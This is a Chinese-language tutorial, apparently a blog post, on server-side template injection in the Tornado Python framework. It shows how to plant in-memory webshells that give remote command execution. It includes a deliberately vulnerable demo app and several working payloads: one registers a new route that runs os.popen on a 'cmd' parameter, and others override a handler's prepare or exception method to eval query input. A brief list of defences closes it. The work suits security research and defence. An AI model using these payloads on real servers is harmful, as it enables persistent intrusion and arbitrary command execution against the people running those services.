掌握Tornado隐秘漏洞:构建内存马,实现命令执行
字数 866 2025-08-22 12:23:36
Tornado框架隐秘漏洞分析与内存马构造技术
1. Tornado框架概述
Tornado是一个使用Python编写的Web框架和异步网络库,最初由FriendFeed开发。其主要特点包括:
- 非阻塞网络I/O特性
- 适合长轮询、WebSocket等需要长时间连接的应用场景
- 内置可扩展的模板引擎
2. Tornado模板渲染机制
Tornado提供两个主要的模板渲染函数:
2.1 render方法
- 用于加载模板文件
- 将指定参数传递给模板
- 最终将渲染结果发送给客户端
2.2 render_string方法
- 直接从字符串中加载模板内容
- 接受参数填充模板占位符
- 返回渲染后的字符串,不直接输出到HTTP响应
2.3 模板语法
{{ ... }} - 输出Python表达式结果(默认HTML编码)
{{! ... }} - 输出未经转义的内容
{% ... %} - 执行控制语句(条件判断、循环等)
{# ... #} - 模板注释
3. 内存马构造思路
Web服务内存马构造主要有两种思路:
- 注册一个新的URL,绑定恶意函数
- 修改原有的URL处理逻辑
4. 测试环境搭建
import tornado.ioloop
import tornado.web
class IndexHandler(tornado.web.RequestHandler):
def get(self):
tornado.web.RequestHandler._template_loaders = {} # 清空模板引擎
with open('index.html', 'w') as (f):
f.write(self.get_argument('name')) # GET方式传name参数
self.render('index.html')
app = tornado.web.Application([('/', IndexHandler)])
app.listen(5000, address="127.0.0.1")
tornado.ioloop.IOLoop.current().start()
关键点:需要清空_template_loaders,否则会一直使用第一个传入的payload。
5. 路由规则分析
5.1 add_handlers方法
def add_handlers(self, host_pattern: str, host_handlers: _RuleList) -> None:
host_matcher = HostMatches(host_pattern)
rule = Rule(host_matcher, _ApplicationRouter(self, host_handlers))
self.default_router.rules.insert(-1, rule)
5.2 add_rules方法
def add_rules(self, rules: _RuleList) -> None:
for rule in rules:
if isinstance(rule, (tuple, list)):
assert len(rule) in (2, 3, 4)
if isinstance(rule[0], basestring_type):
rule = Rule(PathMatches(rule[0]), *rule[1:])
else:
rule = Rule(*rule)
self.rules.append(self.process_rule(rule))
6. 内存马构造技术
6.1 新增注册路由方式
Payload构造:
type(
"x",
(__import__("tornado").web.RequestHandler,),
{
"get": lambda x: x.write(__import__('os').popen(x.get_argument('cmd')).read())
}
)
完整内存马:
{{handler.application.add_handlers(".*",[("/4",type("x",(__import__("tornado").web.RequestHandler,),{"get":lambda x: x.write(__import__('os').popen(x.get_argument('cmd')).read())}))])}}
6.2 覆盖处理函数方式
关键点:
- Tornado每次请求都是全新的handler和request
- 直接绑定恶意函数的方式不可行
- 需要修改类级别行为
内存马构造:
{% raw handler.__class__.prepare = lambda self: self.write(str(eval(self.get_query_argument("cmd", "id")))) %}
6.3 异常情况下的内存马
6.3.1 使用request.connection.write
{{handler.__class__.prepare = lambda self: self.request.connection.write((str(eval(self.get_query_argument("cmd", "id")))).encode())}}
6.3.2 覆盖异常处理函数
{% raw handler.__class__._handle_request_exception = lambda x, y: [x.write((str(eval(x.get_query_argument("cmd", "id")))).encode()), x.finish()][0] %}
7. 防御措施
- 严格控制模板渲染的用户输入
- 禁用或限制模板中的动态代码执行功能
- 定期更新Tornado框架版本
- 实施严格的输入验证和输出编码
- 监控异常的路由规则变更
8. 总结
本文详细分析了Tornado框架中存在的安全漏洞,特别是通过模板注入实现内存马的技术。通过三种不同的方式(新增路由、覆盖处理函数、异常处理)实现了命令执行功能,这些技术对于安全研究和防御建设都具有重要参考价值。